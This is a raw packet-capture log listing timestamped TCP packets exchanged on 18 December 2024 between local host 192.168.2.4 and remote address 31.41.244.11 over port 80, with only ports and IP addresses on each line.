Dec 18, 2024 17:08:26.752105951 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.752176046 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.752224922 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.753005981 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.753048897 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.753135920 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.753176928 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.754024982 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.754067898 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.754286051 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.754326105 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.754961014 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.755003929 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.755096912 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.755140066 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.755955935 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.756000042 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.756094933 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.756158113 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.756978035 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.757033110 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.757117033 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.757154942 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.757987976 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.758032084 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.758074045 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.758116961 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.761531115 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.761579037 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.762573004 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.762588978 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.762604952 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.762636900 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.762665033 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.762731075 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.762747049 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.762773037 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.762798071 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.763273001 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.763319969 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.763449907 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.763492107 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.764266968 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.764307976 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.764455080 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.764498949 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.765557051 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.765573025 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.765599012 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.765614986 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.766251087 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.766292095 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.766453028 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.766521931 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.767049074 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.767092943 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.767234087 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.767271996 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.767832041 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.767848969 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.767877102 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.767893076 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.767921925 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.767962933 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.768045902 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.768085003 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.768858910 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.768898010 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.769061089 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.769104004 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.770088911 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.770138979 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.770312071 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.770354986 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.771254063 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.771297932 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.771456003 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.771496058 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.772115946 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.772169113 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.772172928 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.772212029 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.772777081 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.772819042 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.772918940 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.772958994 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.773771048 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.773813009 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.773881912 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.773922920 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.774785042 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.774825096 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.774916887 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.774959087 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.775773048 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.775815964 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.775949001 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.775990009 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.776962996 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.777003050 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.777122021 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.777162075 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.777954102 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.777995110 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.778058052 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.778098106 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.779083967 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.779136896 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.779162884 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.779206038 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.779949903 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.780003071 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.780042887 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.780081034 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.780738115 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.780782938 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.780873060 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.780914068 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.781769991 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.781811953 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.781850100 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.781889915 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.782753944 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.782794952 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.782886982 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.782934904 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.783993959 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.784037113 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.784084082 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.784122944 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.784939051 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.784982920 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.785104990 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.785145998 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.785900116 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.785940886 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.786077976 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.786118984 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.786772966 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.786812067 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.786933899 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.786973953 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.787745953 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.787796021 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.787830114 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.787873983 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.788644075 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.788690090 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.788799047 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.788840055 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.789675951 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.789721012 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.789833069 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.789876938 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.791146040 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.791203976 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.792860985 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.792907953 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.794600010 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.794616938 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.794632912 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.794646978 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.794648886 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.794661045 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.794691086 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.794724941 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.794724941 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.794878006 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.794903040 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.794943094 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.795903921 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.795949936 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.935101032 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.935225964 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.935239077 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.935287952 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.935563087 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.935612917 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.935713053 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.935755968 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.936696053 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.936753988 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.936774969 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.936842918 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.937592983 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.937643051 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.937721014 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.937763929 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.938554049 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.938601971 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.938699007 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.938743114 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.939666033 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.939722061 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.939825058 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.939868927 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.940619946 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.940666914 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.940706968 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.940749884 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.941771984 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.941817045 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.941895008 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.941936970 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.942770004 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.942815065 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.942985058 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.943026066 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.943526983 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.943569899 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.943625927 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.943669081 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.944555044 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.944598913 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.944699049 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.944741964 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.945589066 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.945631981 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.945800066 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.945837021 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.946625948 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.946671009 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.946717024 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.946758986 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.947633028 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.947678089 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.947813034 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.947853088 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.948499918 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.948545933 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.948621035 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.948672056 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.949464083 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.949515104 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.949594975 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.949635983 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.950557947 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.950599909 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.950689077 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.950731993 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.951459885 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.951503992 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.951545954 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.951587915 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.952599049 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.952615976 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.952652931 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.953408957 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.953452110 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.953531027 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.953572035 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.954432011 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.954473019 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.954514027 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.954555988 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.955404043 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.955450058 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.955539942 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.955579996 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.956413984 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.956460953 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.956504107 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.956547976 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.957354069 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.957397938 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.957498074 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.957545996 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.958317041 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.958355904 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.958446026 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.958487034 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.959402084 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.959448099 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.959489107 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.959531069 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.960311890 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.960351944 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.960445881 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.960488081 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.961338997 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.961379051 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.961467028 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.961510897 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.962284088 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.962322950 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.962426901 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.962467909 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.963318110 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.963393927 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.963428974 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.963469982 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.964431047 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.964478016 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.964566946 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.964607954 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.965334892 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.965379000 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.965434074 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.965476990 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.966345072 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.966392040 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.966432095 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.966480970 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.967288971 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.967329979 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.967483044 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.967525005 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.968281984 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.968326092 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.968440056 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.968482018 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.969254017 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.969296932 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.969360113 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.969400883 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.970196009 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.970237017 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.970345020 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.970386028 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.971188068 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.971226931 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.971323013 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.971371889 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.972177982 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.972217083 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.972342014 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.972381115 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.973175049 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.973216057 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.973288059 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.973330021 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.974195004 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.974240065 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.974288940 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.974328995 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.975171089 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.975213051 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.975284100 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.975330114 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.976516008 CET	80	49771	31.41.244.11	192.168.2.4
